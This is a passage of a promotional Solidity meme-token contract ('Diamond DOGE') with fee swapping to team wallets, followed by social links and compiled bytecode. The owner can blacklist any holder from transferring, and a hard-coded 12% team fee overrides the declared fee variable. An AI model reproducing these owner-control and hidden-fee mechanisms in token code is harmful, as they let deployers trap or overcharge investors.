if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
/*
💎💎💎💎💎💎💎💎💎💎💎💎💎💎💎
💎 Website : https://dogediamond.finance/
💎 Telegram Channel : https://t.me/Dogediamond_Channel
💎 Telegram Chat : https://t.me/dogediamondgroups
💎 Twitter : https://twitter.com/DogediamondFi
💎 Fair Launch on Ethereum
💎💎💎💎💎💎💎💎💎💎💎💎💎💎💎
*/
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f03565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a26565b61045e565b6040516101789190612ee8565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a5565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d7565b61048d565b6040516101e09190612ee8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612949565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa3565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612949565b610783565b6040516102b191906130a5565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1a565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f03565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a26565b61098d565b60405161035b9190612ee8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a62565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af5565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299b565b61121a565b60405161041891906130a5565b60405180910390f35b60606040518060400160405280600c81526020017f4469616d6f6e6420444f47450000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137de60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f4469616d6f6e64444f4745000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe5565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bb565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe5565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612972565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612972565b6040518363ffffffff1660e01b8152600401610e1f929190612e35565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612972565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e87565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5e565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acc565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe5565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa5565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f65565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613025565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f25565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613005565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613085565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131db565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f03565b60405180910390fd5b5060008385611c8a91906132bc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f45565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612972565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c0565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613262565b90508284826121509190613231565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc5565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f03565b60405180910390fd5b50600083856122939190613231565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124228161261f565b61242c84836126dc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a5565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252c8a600854600c612716565b925092509250600061253c612212565b9050600080600061254f8e8787876127ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d091906131db565b905083811015612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90612f85565b60405180910390fd5b8091505092915050565b6000612629612212565b90506000612640828461212090919063ffffffff16565b905061269481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f18260065461257790919063ffffffff16565b60068190555061270c816007546125c190919063ffffffff16565b6007819055505050565b6000806000806127426064612734888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276c606461275e888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279582612787858c61257790919063ffffffff16565b61257790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c5858961212090919063ffffffff16565b905060006127dc868961212090919063ffffffff16565b905060006127f3878961212090919063ffffffff16565b9050600061281c8261280e858761257790919063ffffffff16565b61257790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128486128438461315a565b613135565b9050808382526020820190508285602086028201111561286757600080fd5b60005b85811015612897578161287d88826128a1565b84526020840193506020830192505060018101905061286a565b5050509392505050565b6000813590506128b081613798565b92915050565b6000815190506128c581613798565b92915050565b600082601f8301126128dc57600080fd5b81356128ec848260208601612835565b91505092915050565b600081359050612904816137af565b92915050565b600081519050612919816137af565b92915050565b60008135905061292e816137c6565b92915050565b600081519050612943816137c6565b92915050565b60006020828403121561295b57600080fd5b6000612969848285016128a1565b91505092915050565b60006020828403121561298457600080fd5b6000612992848285016128b6565b91505092915050565b600080604083850312156129ae57600080fd5b60006129bc858286016128a1565b92505060206129cd858286016128a1565b9150509250929050565b6000806000606084860312156129ec57600080fd5b60006129fa868287016128a1565b9350506020612a0b868287016128a1565b9250506040612a1c8682870161291f565b9150509250925092565b60008060408385031215612a3957600080fd5b6000612a47858286016128a1565b9250506020612a588582860161291f565b9150509250929050565b600060208284031215612a7457600080fd5b600082013567ffffffffffffffff811115612a8e57600080fd5b612a9a848285016128cb565b91505092915050565b600060208284031215612ab557600080fd5b6000612ac3848285016128f5565b91505092915050565b600060208284031215612ade57600080fd5b6000612aec8482850161290a565b91505092915050565b600060208284031215612b0757600080fd5b6000612b158482850161291f565b91505092915050565b600080600060608486031215612b3357600080fd5b6000612b4186828701612934565b9350506020612b5286828701612934565b9250506040612b6386828701612934565b9150509250925092565b6000612b798383612b85565b60208301905092915050565b612b8e816132f0565b82525050565b612b9d816132f0565b82525050565b6000612bae82613196565b612bb881856131b9565b9350612bc383613186565b8060005b83811015612bf4578151612bdb8882612b6d565b9750612be6836131ac565b925050600181019050612bc7565b5085935050505092915050565b612c0a81613302565b82525050565b612c1981613345565b82525050565b6000612c2a826131a1565b612c3481856131ca565b9350612c44818560208601613357565b612c4d81613491565b840191505092915050565b6000612c656023836131ca565b9150612c70826134a2565b604082019050919050565b6000612c88602a836131ca565b9150612c93826134f1565b604082019050919050565b6000612cab6022836131ca565b9150612cb682613540565b604082019050919050565b6000612cce601b836131ca565b9150612cd98261358f565b602082019050919050565b6000612cf1601d836131ca565b9150612cfc826135b8565b602082019050919050565b6000612d146021836131ca565b9150612d1f826135e1565b604082019050919050565b6000612d376020836131ca565b9150612d4282613630565b602082019050919050565b6000612d5a6029836131ca565b9150612d6582613659565b604082019050919050565b6000612d7d6025836131ca565b9150612d88826136a8565b604082019050919050565b6000612da06024836131ca565b9150612dab826136f7565b604082019050919050565b6000612dc36017836131ca565b9150612dce82613746565b602082019050919050565b6000612de66011836131ca565b9150612df18261376f565b602082019050919050565b612e058161332e565b82525050565b612e1481613338565b82525050565b6000602082019050612e2f6000830184612b94565b92915050565b6000604082019050612e4a6000830185612b94565b612e576020830184612b94565b9392505050565b6000604082019050612e736000830185612b94565b612e806020830184612dfc565b9392505050565b600060c082019050612e9c6000830189612b94565b612ea96020830188612dfc565b612eb66040830187612c10565b612ec36060830186612c10565b612ed06080830185612b94565b612edd60a0830184612dfc565b979650505050505050565b6000602082019050612efd6000830184612c01565b92915050565b60006020820190508181036000830152612f1d8184612c1f565b905092915050565b60006020820190508181036000830152612f3e81612c58565b9050919050565b60006020820190508181036000830152612f5e81612c7b565b9050919050565b60006020820190508181036000830152612f7e81612c9e565b9050919050565b60006020820190508181036000830152612f9e81612cc1565b9050919050565b60006020820190508181036000830152612fbe81612ce4565b9050919050565b60006020820190508181036000830152612fde81612d07565b9050919050565b60006020820190508181036000830152612ffe81612d2a565b9050919050565b6000602082019050818103600083015261301e81612d4d565b9050919050565b6000602082019050818103600083015261303e81612d70565b9050919050565b6000602082019050818103600083015261305e81612d93565b9050919050565b6000602082019050818103600083015261307e81612db6565b9050919050565b6000602082019050818103600083015261309e81612dd9565b9050919050565b60006020820190506130ba6000830184612dfc565b92915050565b600060a0820190506130d56000830188612dfc565b6130e26020830187612c10565b81810360408301526130f48186612ba3565b90506131036060830185612b94565b6131106080830184612dfc565b9695505050505050565b600060208201905061312f6000830184612e0b565b92915050565b600061313f613150565b905061314b828261338a565b919050565b6000604051905090565b600067ffffffffffffffff82111561317557613174613462565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e68261332e565b91506131f18361332e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322657613225613404565b5b828201905092915050565b600061323c8261332e565b91506132478361332e565b92508261325757613256613433565b5b828204905092915050565b600061326d8261332e565b91506132788361332e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b1576132b0613404565b5b828202905092915050565b60006132c78261332e565b91506132d28361332e565b9250828210156132e5576132e4613404565b5b828203905092915050565b60006132fb8261330e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133508261332e565b9050919050565b60005b8381101561337557808201518184015260208101905061335a565b83811115613384576000848401525b50505050565b61339382613491565b810181811067ffffffffffffffff821117156133b2576133b1613462565b5b80604052505050565b60006133c68261332e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f9576133f8613404565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b